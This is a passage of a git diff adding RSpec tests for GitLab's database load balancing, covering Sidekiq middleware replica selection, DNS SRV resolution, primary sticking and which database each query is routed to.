+ it_behaves_like 'stick to the primary', nil
+ end
+ end
+
+ let(:queue) { 'default' }
+ let(:redis_pool) { Sidekiq.redis_pool }
+ let(:worker) { worker_class.new }
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", 'database_replica_location' => '0/D525E3A8' } }
+ let(:block) { 10 }
+
+ before do
+ skip_feature_flags_yaml_validation
+ skip_default_enabled_yaml_check
+ allow(middleware).to receive(:clear)
+ allow(Gitlab::Database::LoadBalancing::Session.current).to receive(:performed_write?).and_return(true)
+ end
+
+ context 'when worker class does not include ApplicationWorker' do
+ let(:worker) { ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.new }
+
+ include_examples 'stick to the primary'
+ end
+
+ context 'when worker data consistency is :always' do
+ include_context 'data consistency worker class', :always, :load_balancing_for_test_data_consistency_worker
+
+ include_examples 'stick to the primary'
+ end
+
+ context 'when worker data consistency is :delayed' do
+ include_examples 'sticks based on data consistency', :delayed
+
+ context 'when replica is not up to date' do
+ before do
+ allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer, :release_host)
+ allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer, :select_up_to_date_host).and_return(false)
+ end
+
+ around do |example|
+ with_sidekiq_server_middleware do |chain|
+ chain.add described_class
+ Sidekiq::Testing.disable! { example.run }
+ end
+ end
+
+ context 'when job is executed first' do
+ it 'raise an error and retries', :aggregate_failures do
+ expect do
+ process_job(job)
+ end.to raise_error(Sidekiq::JobRetry::Skip)
+
+ expect(job['error_class']).to eq('Gitlab::Database::LoadBalancing::SidekiqServerMiddleware::JobReplicaNotUpToDate')
+ expect(job[:database_chosen]).to eq('retry')
+ end
+ end
+
+ context 'when job is retried' do
+ it 'stick to the primary', :aggregate_failures do
+ expect do
+ process_job(job)
+ end.to raise_error(Sidekiq::JobRetry::Skip)
+
+ process_job(job)
+ expect(job[:database_chosen]).to eq('primary')
+ end
+ end
+
+ context 'replica selection mechanism feature flag rollout' do
+ before do
+ stub_feature_flags(sidekiq_load_balancing_rotate_up_to_date_replica: false)
+ end
+
+ it 'uses different implmentation' do
+ expect(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer, :host, :caught_up?).and_return(false)
+
+ expect do
+ process_job(job)
+ end.to raise_error(Sidekiq::JobRetry::Skip)
+ end
+ end
+ end
+ end
+
+ context 'when worker data consistency is :sticky' do
+ include_examples 'sticks based on data consistency', :sticky
+
+ context 'when replica is not up to date' do
+ before do
+ allow(middleware).to receive(:replica_caught_up?).and_return(false)
+ end
+
+ include_examples 'stick to the primary'
+
+ it 'updates job hash with primary database chosen', :aggregate_failures do
+ expect { |b| middleware.call(worker, job, double(:queue), &b) }.to yield_control
+
+ expect(job[:database_chosen]).to eq('primary')
+ end
+ end
+ end
+ end
+
+ def process_job(job)
+ Sidekiq::JobRetry.new.local(worker_class, job, queue) do
+ worker_class.process_job(job)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/srv_resolver_spec.rb b/spec/lib/gitlab/database/load_balancing/srv_resolver_spec.rb
new file mode 100644
index 00000000000..6ac0608d485
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/srv_resolver_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::SrvResolver do
+ let(:resolver) { Net::DNS::Resolver.new(nameservers: '127.0.0.1', port: 8600, use_tcp: true) }
+ let(:additional) { dns_response_packet_from_fixture('srv_with_a_rr_in_additional_section').additional }
+
+ describe '#address_for' do
+ let(:host) { 'patroni-02-db-gstg.node.east-us-2.consul.' }
+
+ subject { described_class.new(resolver, additional).address_for(host) }
+
+ context 'when additional section contains an A record' do
+ it 'returns an IP4 address' do
+ expect(subject).to eq(IPAddr.new('10.224.29.102'))
+ end
+ end
+
+ context 'when additional section contains an AAAA record' do
+ let(:host) { 'a.gtld-servers.net.' }
+ let(:additional) { dns_response_packet_from_fixture('a_with_aaaa_rr_in_additional_section').additional }
+
+ it 'returns an IP6 address' do
+ expect(subject).to eq(IPAddr.new('2001:503:a83e::2:30'))
+ end
+ end
+
+ context 'when additional section does not contain A nor AAAA records' do
+ let(:additional) { [] }
+
+ context 'when host resolves to an A record' do
+ before do
+ allow(resolver).to receive(:search).with(host, Net::DNS::ANY).and_return(dns_response_packet_from_fixture('a_rr'))
+ end
+
+ it 'returns an IP4 address' do
+ expect(subject).to eq(IPAddr.new('10.224.29.102'))
+ end
+ end
+
+ context 'when host does resolves to an AAAA record' do
+ before do
+ allow(resolver).to receive(:search).with(host, Net::DNS::ANY).and_return(dns_response_packet_from_fixture('aaaa_rr'))
+ end
+
+ it 'returns an IP6 address' do
+ expect(subject).to eq(IPAddr.new('2a00:1450:400e:80a::200e'))
+ end
+ end
+ end
+ end
+
+ def dns_response_packet_from_fixture(fixture_name)
+ fixture = File.read(Rails.root + "spec/fixtures/dns/#{fixture_name}.json")
+ encoded_payload = Gitlab::Json.parse(fixture)['payload']
+ payload = Base64.decode64(encoded_payload)
+
+ Net::DNS::Packet.parse(payload)
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing/sticking_spec.rb b/spec/lib/gitlab/database/load_balancing/sticking_spec.rb
new file mode 100644
index 00000000000..bf4e3756e0e
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing/sticking_spec.rb
@@ -0,0 +1,307 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing::Sticking, :redis do
+ after do
+ Gitlab::Database::LoadBalancing::Session.clear_session
+ end
+
+ describe '.stick_if_necessary' do
+ context 'when sticking is disabled' do
+ it 'does not perform any sticking' do
+ expect(described_class).not_to receive(:stick)
+
+ described_class.stick_if_necessary(:user, 42)
+ end
+ end
+
+ context 'when sticking is enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?)
+ .and_return(true)
+ end
+
+ it 'does not stick if no write was performed' do
+ allow(Gitlab::Database::LoadBalancing::Session.current)
+ .to receive(:performed_write?)
+ .and_return(false)
+
+ expect(described_class).not_to receive(:stick)
+
+ described_class.stick_if_necessary(:user, 42)
+ end
+
+ it 'sticks to the primary if a write was performed' do
+ allow(Gitlab::Database::LoadBalancing::Session.current)
+ .to receive(:performed_write?)
+ .and_return(true)
+
+ expect(described_class).to receive(:stick).with(:user, 42)
+
+ described_class.stick_if_necessary(:user, 42)
+ end
+ end
+ end
+
+ describe '.all_caught_up?' do
+ let(:lb) { double(:lb) }
+
+ before do
+ allow(described_class).to receive(:load_balancer).and_return(lb)
+ end
+
+ it 'returns true if no write location could be found' do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:user, 42)
+ .and_return(nil)
+
+ expect(lb).not_to receive(:all_caught_up?)
+
+ expect(described_class.all_caught_up?(:user, 42)).to eq(true)
+ end
+
+ it 'returns true, and unsticks if all secondaries have caught up' do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:user, 42)
+ .and_return('foo')
+
+ allow(lb).to receive(:all_caught_up?).with('foo').and_return(true)
+
+ expect(described_class).to receive(:unstick).with(:user, 42)
+
+ expect(described_class.all_caught_up?(:user, 42)).to eq(true)
+ end
+
+ it 'return false if the secondaries have not yet caught up' do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:user, 42)
+ .and_return('foo')
+
+ allow(lb).to receive(:all_caught_up?).with('foo').and_return(false)
+
+ expect(described_class.all_caught_up?(:user, 42)).to eq(false)
+ end
+ end
+
+ describe '.unstick_or_continue_sticking' do
+ let(:lb) { double(:lb) }
+
+ before do
+ allow(described_class).to receive(:load_balancer).and_return(lb)
+ end
+
+ it 'simply returns if no write location could be found' do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:user, 42)
+ .and_return(nil)
+
+ expect(lb).not_to receive(:all_caught_up?)
+
+ described_class.unstick_or_continue_sticking(:user, 42)
+ end
+
+ it 'unsticks if all secondaries have caught up' do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:user, 42)
+ .and_return('foo')
+
+ allow(lb).to receive(:all_caught_up?).with('foo').and_return(true)
+
+ expect(described_class).to receive(:unstick).with(:user, 42)
+
+ described_class.unstick_or_continue_sticking(:user, 42)
+ end
+
+ it 'continues using the primary if the secondaries have not yet caught up' do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:user, 42)
+ .and_return('foo')
+
+ allow(lb).to receive(:all_caught_up?).with('foo').and_return(false)
+
+ expect(Gitlab::Database::LoadBalancing::Session.current)
+ .to receive(:use_primary!)
+
+ described_class.unstick_or_continue_sticking(:user, 42)
+ end
+ end
+
+ RSpec.shared_examples 'sticking' do
+ context 'when sticking is disabled' do
+ it 'does not perform any sticking', :aggregate_failures do
+ expect(described_class).not_to receive(:set_write_location_for)
+ expect(Gitlab::Database::LoadBalancing::Session.current).not_to receive(:use_primary!)
+
+ described_class.bulk_stick(:user, ids)
+ end
+ end
+
+ context 'when sticking is enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:configured?).and_return(true)
+
+ lb = double(:lb, primary_write_location: 'foo')
+
+ allow(described_class).to receive(:load_balancer).and_return(lb)
+ end
+
+ it 'sticks an entity to the primary', :aggregate_failures do
+ ids.each do |id|
+ expect(described_class).to receive(:set_write_location_for)
+ .with(:user, id, 'foo')
+ end
+
+ expect(Gitlab::Database::LoadBalancing::Session.current)
+ .to receive(:use_primary!)
+
+ subject
+ end
+ end
+ end
+
+ describe '.stick' do
+ it_behaves_like 'sticking' do
+ let(:ids) { [42] }
+ subject { described_class.stick(:user, ids.first) }
+ end
+ end
+
+ describe '.bulk_stick' do
+ it_behaves_like 'sticking' do
+ let(:ids) { [42, 43] }
+ subject { described_class.bulk_stick(:user, ids) }
+ end
+ end
+
+ describe '.mark_primary_write_location' do
+ context 'when enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ allow(Gitlab::Database::LoadBalancing).to receive(:configured?).and_return(true)
+ end
+
+ it 'updates the write location with the load balancer' do
+ lb = double(:lb, primary_write_location: 'foo')
+
+ allow(described_class).to receive(:load_balancer).and_return(lb)
+
+ expect(described_class).to receive(:set_write_location_for)
+ .with(:user, 42, 'foo')
+
+ described_class.mark_primary_write_location(:user, 42)
+ end
+ end
+
+ context 'when load balancing is configured but not enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(false)
+ allow(Gitlab::Database::LoadBalancing).to receive(:configured?).and_return(true)
+ end
+
+ it 'updates the write location with the main ActiveRecord connection' do
+ allow(described_class).to receive(:load_balancer).and_return(nil)
+ expect(ActiveRecord::Base).to receive(:connection).and_call_original
+ expect(described_class).to receive(:set_write_location_for)
+ .with(:user, 42, anything)
+
+ described_class.mark_primary_write_location(:user, 42)
+ end
+
+ context 'when write location is nil' do
+ before do
+ allow(Gitlab::Database).to receive(:get_write_location).and_return(nil)
+ end
+
+ it 'does not update the write location' do
+ expect(described_class).not_to receive(:set_write_location_for)
+
+ described_class.mark_primary_write_location(:user, 42)
+ end
+ end
+ end
+
+ context 'when load balancing is disabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(false)
+ allow(Gitlab::Database::LoadBalancing).to receive(:configured?).and_return(false)
+ end
+
+ it 'updates the write location with the main ActiveRecord connection' do
+ expect(described_class).not_to receive(:set_write_location_for)
+
+ described_class.mark_primary_write_location(:user, 42)
+ end
+ end
+ end
+
+ describe '.unstick' do
+ it 'removes the sticking data from Redis' do
+ described_class.set_write_location_for(:user, 4, 'foo')
+ described_class.unstick(:user, 4)
+
+ expect(described_class.last_write_location_for(:user, 4)).to be_nil
+ end
+ end
+
+ describe '.last_write_location_for' do
+ it 'returns the last WAL write location for a user' do
+ described_class.set_write_location_for(:user, 4, 'foo')
+
+ expect(described_class.last_write_location_for(:user, 4)).to eq('foo')
+ end
+ end
+
+ describe '.redis_key_for' do
+ it 'returns a String' do
+ expect(described_class.redis_key_for(:user, 42))
+ .to eq('database-load-balancing/write-location/user/42')
+ end
+ end
+
+ describe '.load_balancer' do
+ it 'returns a the load balancer' do
+ proxy = double(:proxy)
+
+ expect(Gitlab::Database::LoadBalancing).to receive(:proxy)
+ .and_return(proxy)
+
+ expect(proxy).to receive(:load_balancer)
+
+ described_class.load_balancer
+ end
+ end
+
+ describe '.select_caught_up_replicas' do
+ let(:lb) { double(:lb) }
+
+ before do
+ allow(described_class).to receive(:load_balancer).and_return(lb)
+ end
+
+ context 'with no write location' do
+ before do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:project, 42).and_return(nil)
+ end
+
+ it 'returns false and does not try to find caught up hosts' do
+ expect(described_class).not_to receive(:select_caught_up_hosts)
+ expect(described_class.select_caught_up_replicas(:project, 42)).to be false
+ end
+ end
+
+ context 'with write location' do
+ before do
+ allow(described_class).to receive(:last_write_location_for)
+ .with(:project, 42).and_return('foo')
+ end
+
+ it 'returns true, selects hosts, and unsticks if any secondary has caught up' do
+ expect(lb).to receive(:select_caught_up_hosts).and_return(true)
+ expect(described_class).to receive(:unstick).with(:project, 42)
+ expect(described_class.select_caught_up_replicas(:project, 42)).to be true
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/load_balancing_spec.rb b/spec/lib/gitlab/database/load_balancing_spec.rb
new file mode 100644
index 00000000000..e7de7f2b43b
--- /dev/null
+++ b/spec/lib/gitlab/database/load_balancing_spec.rb
@@ -0,0 +1,834 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LoadBalancing do
+ include_context 'clear DB Load Balancing configuration'
+
+ before do
+ stub_env('ENABLE_LOAD_BALANCING_FOR_FOSS', 'true')
+ end
+
+ describe '.proxy' do
+ context 'when configured' do
+ before do
+ allow(ActiveRecord::Base.singleton_class).to receive(:prepend)
+ subject.configure_proxy
+ end
+
+ it 'returns the connection proxy' do
+ expect(subject.proxy).to be_an_instance_of(subject::ConnectionProxy)
+ end
+ end
+
+ context 'when not configured' do
+ it 'returns nil' do
+ expect(subject.proxy).to be_nil
+ end
+
+ it 'tracks an error to sentry' do
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).with(
+ an_instance_of(subject::ProxyNotConfiguredError)
+ )
+
+ subject.proxy
+ end
+ end
+ end
+
+ describe '.configuration' do
+ it 'returns a Hash' do
+ lb_config = { 'hosts' => %w(foo) }
+
+ original_db_config = Gitlab::Database.config
+ modified_db_config = original_db_config.merge(load_balancing: lb_config)
+ expect(Gitlab::Database).to receive(:config).and_return(modified_db_config)
+
+ expect(described_class.configuration).to eq(lb_config)
+ end
+ end
+
+ describe '.max_replication_difference' do
+ context 'without an explicitly configured value' do
+ it 'returns the default value' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return({})
+
+ expect(described_class.max_replication_difference).to eq(8.megabytes)
+ end
+ end
+
+ context 'with an explicitly configured value' do
+ it 'returns the configured value' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return({ 'max_replication_difference' => 4 })
+
+ expect(described_class.max_replication_difference).to eq(4)
+ end
+ end
+ end
+
+ describe '.max_replication_lag_time' do
+ context 'without an explicitly configured value' do
+ it 'returns the default value' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return({})
+
+ expect(described_class.max_replication_lag_time).to eq(60)
+ end
+ end
+
+ context 'with an explicitly configured value' do
+ it 'returns the configured value' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return({ 'max_replication_lag_time' => 4 })
+
+ expect(described_class.max_replication_lag_time).to eq(4)
+ end
+ end
+ end
+
+ describe '.replica_check_interval' do
+ context 'without an explicitly configured value' do
+ it 'returns the default value' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return({})
+
+ expect(described_class.replica_check_interval).to eq(60)
+ end
+ end
+
+ context 'with an explicitly configured value' do
+ it 'returns the configured value' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return({ 'replica_check_interval' => 4 })
+
+ expect(described_class.replica_check_interval).to eq(4)
+ end
+ end
+ end
+
+ describe '.hosts' do
+ it 'returns a list of hosts' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return({ 'hosts' => %w(foo bar baz) })
+
+ expect(described_class.hosts).to eq(%w(foo bar baz))
+ end
+ end
+
+ describe '.pool_size' do
+ it 'returns a Fixnum' do
+ expect(described_class.pool_size).to be_a_kind_of(Integer)
+ end
+ end
+
+ describe '.enable?' do
+ before do
+ clear_load_balancing_configuration
+ allow(described_class).to receive(:hosts).and_return(%w(foo))
+ end
+
+ it 'returns false when no hosts are specified' do
+ allow(described_class).to receive(:hosts).and_return([])
+
+ expect(described_class.enable?).to eq(false)
+ end
+
+ it 'returns false when Sidekiq is being used' do
+ allow(Gitlab::Runtime).to receive(:sidekiq?).and_return(true)
+
+ expect(described_class.enable?).to eq(false)
+ end
+
+ it 'returns false when running inside a Rake task' do
+ allow(Gitlab::Runtime).to receive(:rake?).and_return(true)
+
+ expect(described_class.enable?).to eq(false)
+ end
+
+ it 'returns true when load balancing should be enabled' do
+ allow(Gitlab::Runtime).to receive(:sidekiq?).and_return(false)
+
+ expect(described_class.enable?).to eq(true)
+ end
+
+ it 'returns true when service discovery is enabled' do
+ allow(described_class).to receive(:hosts).and_return([])
+ allow(Gitlab::Runtime).to receive(:sidekiq?).and_return(false)
+
+ allow(described_class)
+ .to receive(:service_discovery_enabled?)
+ .and_return(true)
+
+ expect(described_class.enable?).to eq(true)
+ end
+
+ context 'when ENABLE_LOAD_BALANCING_FOR_SIDEKIQ environment variable is set' do
+ before do
+ stub_env('ENABLE_LOAD_BALANCING_FOR_SIDEKIQ', 'true')
+ end
+
+ it 'returns true when Sidekiq is being used' do
+ allow(Gitlab::Runtime).to receive(:sidekiq?).and_return(true)
+
+ expect(described_class.enable?).to eq(true)
+ end
+ end
+ end
+
+ describe '.configured?' do
+ before do
+ clear_load_balancing_configuration
+ end
+
+ it 'returns true when Sidekiq is being used' do
+ allow(described_class).to receive(:hosts).and_return(%w(foo))
+ allow(Gitlab::Runtime).to receive(:sidekiq?).and_return(true)
+ expect(described_class.configured?).to eq(true)
+ end
+
+ it 'returns true when service discovery is enabled in Sidekiq' do
+ allow(described_class).to receive(:hosts).and_return([])
+ allow(Gitlab::Runtime).to receive(:sidekiq?).and_return(true)
+
+ allow(described_class)
+ .to receive(:service_discovery_enabled?)
+ .and_return(true)
+
+ expect(described_class.configured?).to eq(true)
+ end
+
+ it 'returns false when neither service discovery nor hosts are configured' do
+ allow(described_class).to receive(:hosts).and_return([])
+
+ allow(described_class)
+ .to receive(:service_discovery_enabled?)
+ .and_return(false)
+
+ expect(described_class.configured?).to eq(false)
+ end
+ end
+
+ describe '.configure_proxy' do
+ it 'configures the connection proxy' do
+ allow(ActiveRecord::Base.singleton_class).to receive(:prepend)
+
+ described_class.configure_proxy
+
+ expect(ActiveRecord::Base.singleton_class).to have_received(:prepend)
+ .with(Gitlab::Database::LoadBalancing::ActiveRecordProxy)
+ end
+ end
+
+ describe '.active_record_models' do
+ it 'returns an Array' do
+ expect(described_class.active_record_models).to be_an_instance_of(Array)
+ end
+ end
+
+ describe '.service_discovery_enabled?' do
+ it 'returns true if service discovery is enabled' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return('discover' => { 'record' => 'foo' })
+
+ expect(described_class.service_discovery_enabled?).to eq(true)
+ end
+
+ it 'returns false if service discovery is disabled' do
+ expect(described_class.service_discovery_enabled?).to eq(false)
+ end
+ end
+
+ describe '.service_discovery_configuration' do
+ context 'when no configuration is provided' do
+ it 'returns a default configuration Hash' do
+ expect(described_class.service_discovery_configuration).to eq(
+ nameserver: 'localhost',
+ port: 8600,
+ record: nil,
+ record_type: 'A',
+ interval: 60,
+ disconnect_timeout: 120,
+ use_tcp: false
+ )
+ end
+ end
+
+ context 'when configuration is provided' do
+ it 'returns a Hash including the custom configuration' do
+ allow(described_class)
+ .to receive(:configuration)
+ .and_return('discover' => { 'record' => 'foo', 'record_type' => 'SRV' })
+
+ expect(described_class.service_discovery_configuration).to eq(
+ nameserver: 'localhost',
+ port: 8600,
+ record: 'foo',
+ record_type: 'SRV',
+ interval: 60,
+ disconnect_timeout: 120,
+ use_tcp: false
+ )
+ end
+ end
+ end
+
+ describe '.start_service_discovery' do
+ it 'does not start if service discovery is disabled' do
+ expect(Gitlab::Database::LoadBalancing::ServiceDiscovery)
+ .not_to receive(:new)
+
+ described_class.start_service_discovery
+ end
+
+ it 'starts service discovery if enabled' do
+ allow(described_class)
+ .to receive(:service_discovery_enabled?)
+ .and_return(true)
+
+ instance = double(:instance)
+
+ expect(Gitlab::Database::LoadBalancing::ServiceDiscovery)
+ .to receive(:new)
+ .with(an_instance_of(Hash))
+ .and_return(instance)
+
+ expect(instance)
+ .to receive(:start)
+
+ described_class.start_service_discovery
+ end
+ end
+
+ describe '.db_role_for_connection' do
+ let(:connection) { double(:conneciton) }
+
+ context 'when the load balancing is not configured' do
+ before do
+ allow(described_class).to receive(:enable?).and_return(false)
+ end
+
+ it 'returns primary' do
+ expect(described_class.db_role_for_connection(connection)).to be(:primary)
+ end
+ end
+
+ context 'when the load balancing is configured' do
+ let(:proxy) { described_class::ConnectionProxy.new(%w(foo)) }
+ let(:load_balancer) { described_class::LoadBalancer.new(%w(foo)) }
+
+ before do
+ allow(ActiveRecord::Base.singleton_class).to receive(:prepend)
+
+ allow(described_class).to receive(:enable?).and_return(true)
+ allow(described_class).to receive(:proxy).and_return(proxy)
+ allow(proxy).to receive(:load_balancer).and_return(load_balancer)
+
+ subject.configure_proxy(proxy)
+ end
+
+ context 'when the load balancer returns :replica' do
+ it 'returns :replica' do
+ allow(load_balancer).to receive(:db_role_for_connection).and_return(:replica)
+
+ expect(described_class.db_role_for_connection(connection)).to be(:replica)
+
+ expect(load_balancer).to have_received(:db_role_for_connection).with(connection)
+ end
+ end
+
+ context 'when the load balancer returns :primary' do
+ it 'returns :primary' do
+ allow(load_balancer).to receive(:db_role_for_connection).and_return(:primary)
+
+ expect(described_class.db_role_for_connection(connection)).to be(:primary)
+
+ expect(load_balancer).to have_received(:db_role_for_connection).with(connection)
+ end
+ end
+
+ context 'when the load balancer returns nil' do
+ it 'returns nil' do
+ allow(load_balancer).to receive(:db_role_for_connection).and_return(nil)
+
+ expect(described_class.db_role_for_connection(connection)).to be(nil)
+
+ expect(load_balancer).to have_received(:db_role_for_connection).with(connection)
+ end
+ end
+ end
+ end
+
+ # For such an important module like LoadBalancing, full mocking is not
+ # enough. This section implements some integration tests to test a full flow
+ # of the load balancer.
+ # - A real model with a table backed behind is defined
+ # - The load balancing module is set up for this module only, as to prevent
+ # breaking other tests. The replica configuration is cloned from the test
+ # configuraiton.
+ # - In each test, we listen to the SQL queries (via sql.active_record
+ # instrumentation) while triggering real queries from the defined model.
+ # - We assert the desinations (replica/primary) of the queries in order.
+ describe 'LoadBalancing integration tests', :delete do
+ before(:all) do
+ ActiveRecord::Schema.define do
+ create_table :load_balancing_test, force: true do |t|
+ t.string :name, null: true
+ end
+ end
+ end
+
+ after(:all) do
+ ActiveRecord::Schema.define do
+ drop_table :load_balancing_test, force: true
+ end
+ end
+
+ shared_context 'LoadBalancing setup' do
+ let(:development_db_config) { ActiveRecord::Base.configurations.configs_for(env_name: 'development').first.configuration_hash }
+ let(:hosts) { [development_db_config[:host]] }
+ let(:model) do
+ Class.new(ApplicationRecord) do
+ self.table_name = "load_balancing_test"
+ end
+ end
+
+ before do
+ # Preloading testing class
+ model.singleton_class.prepend ::Gitlab::Database::LoadBalancing::ActiveRecordProxy
+
+ # Setup load balancing
+ clear_load_balancing_configuration
+ allow(ActiveRecord::Base.singleton_class).to receive(:prepend)
+ subject.configure_proxy(::Gitlab::Database::LoadBalancing::ConnectionProxy.new(hosts))
+
+ original_db_config = Gitlab::Database.config
+ modified_db_config = original_db_config.merge(load_balancing: { hosts: hosts })
+ allow(Gitlab::Database).to receive(:config).and_return(modified_db_config)
+
+ ::Gitlab::Database::LoadBalancing::Session.clear_session
+ end
+ end
+
+ where(:queries, :include_transaction, :expected_results) do
+ [
+ # Read methods
+ [-> { model.first }, false, [:replica]],
+ [-> { model.find_by(id: 123) }, false, [:replica]],
+ [-> { model.where(name: 'hello').to_a }, false, [:replica]],
+
+ # Write methods
+ [-> { model.create!(name: 'test1') }, false, [:primary]],
+ [
+ -> {
+ instance = model.create!(name: 'test1')
+ instance.update!(name: 'test2')
+ },
+ false, [:primary, :primary]
+ ],
+ [-> { model.update_all(name: 'test2') }, false, [:primary]],
+ [
+ -> {
+ instance = model.create!(name: 'test1')
+ instance.destroy!
+ },
+ false, [:primary, :primary]
+ ],
+ [-> { model.delete_all }, false, [:primary]],
+
+ # Custom query
+ [-> { model.connection.exec_query('SELECT 1').to_a }, false, [:primary]],
+
+ # Reads after a write
+ [
+ -> {
+ model.first
+ model.create!(name: 'test1')
+ model.first
+ model.find_by(name: 'test1')
+ },
+ false, [:replica, :primary, :primary, :primary]
+ ],
+
+ # Inside a transaction
+ [
+ -> {
+ model.transaction do
+ model.find_by(name: 'test1')
+ model.create!(name: 'test1')
+ instance = model.find_by(name: 'test1')
+ instance.update!(name: 'test2')
+ end
+ model.find_by(name: 'test1')
+ },
+ true, [:primary, :primary, :primary, :primary, :primary, :primary, :primary]
+ ],
+
+ # Nested transaction
+ [
+ -> {
+ model.transaction do
+ model.transaction do
+ model.create!(name: 'test1')
+ end
+ model.update_all(name: 'test2')
+ end
+ model.find_by(name: 'test1')
+ },
+ true, [:primary, :primary, :primary, :primary, :primary]
+ ],
+
+ # Read-only transaction
+ [
+ -> {
+ model.transaction do
+ model.first
+ model.where(name: 'test1').to_a
+ end
+ },
+ true, [:primary, :primary, :primary, :primary]
+ ],
+
+ # use_primary
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary do
+ model.first
+ model.where(name: 'test1').to_a
+ end
+ model.first
+ },
+ false, [:primary, :primary, :replica]
+ ],
+
+ # use_primary!
+ [
+ -> {
+ model.first
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary!
+ model.where(name: 'test1').to_a
+ },
+ false, [:replica, :primary]
+ ],
+
+ # use_replicas_for_read_queries does not affect read queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ model.where(name: 'test1').to_a
+ end
+ },
+ false, [:replica]
+ ],
+
+ # use_replicas_for_read_queries does not affect write queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ model.create!(name: 'test1')
+ end
+ },
+ false, [:primary]
+ ],
+
+ # use_replicas_for_read_queries does not affect ambiguous queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ model.connection.exec_query("SELECT 1")
+ end
+ },
+ false, [:primary]
+ ],
+
+ # use_replicas_for_read_queries ignores use_primary! for read queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary!
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ model.where(name: 'test1').to_a
+ end
+ },
+ false, [:replica]
+ ],
+
+ # use_replicas_for_read_queries adheres use_primary! for write queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary!
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ model.create!(name: 'test1')
+ end
+ },
+ false, [:primary]
+ ],
+
+ # use_replicas_for_read_queries adheres use_primary! for ambiguous queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary!
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ model.connection.exec_query('SELECT 1')
+ end
+ },
+ false, [:primary]
+ ],
+
+ # use_replicas_for_read_queries ignores use_primary blocks
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary do
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ model.where(name: 'test1').to_a
+ end
+ end
+ },
+ false, [:replica]
+ ],
+
+ # use_replicas_for_read_queries ignores a session already performed write
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.write!
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ model.where(name: 'test1').to_a
+ end
+ },
+ false, [:replica]
+ ],
+
+ # fallback_to_replicas_for_ambiguous_queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.first
+ model.where(name: 'test1').to_a
+ end
+ },
+ false, [:replica, :replica]
+ ],
+
+ # fallback_to_replicas_for_ambiguous_queries for read-only transaction
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.transaction do
+ model.first
+ model.where(name: 'test1').to_a
+ end
+ end
+ },
+ false, [:replica, :replica]
+ ],
+
+ # A custom read query inside fallback_to_replicas_for_ambiguous_queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.connection.exec_query("SELECT 1")
+ end
+ },
+ false, [:replica]
+ ],
+
+ # A custom read query inside a transaction fallback_to_replicas_for_ambiguous_queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.transaction do
+ model.connection.exec_query("SET LOCAL statement_timeout = 5000")
+ model.count
+ end
+ end
+ },
+ true, [:replica, :replica, :replica, :replica]
+ ],
+
+ # fallback_to_replicas_for_ambiguous_queries after a write
+ [
+ -> {
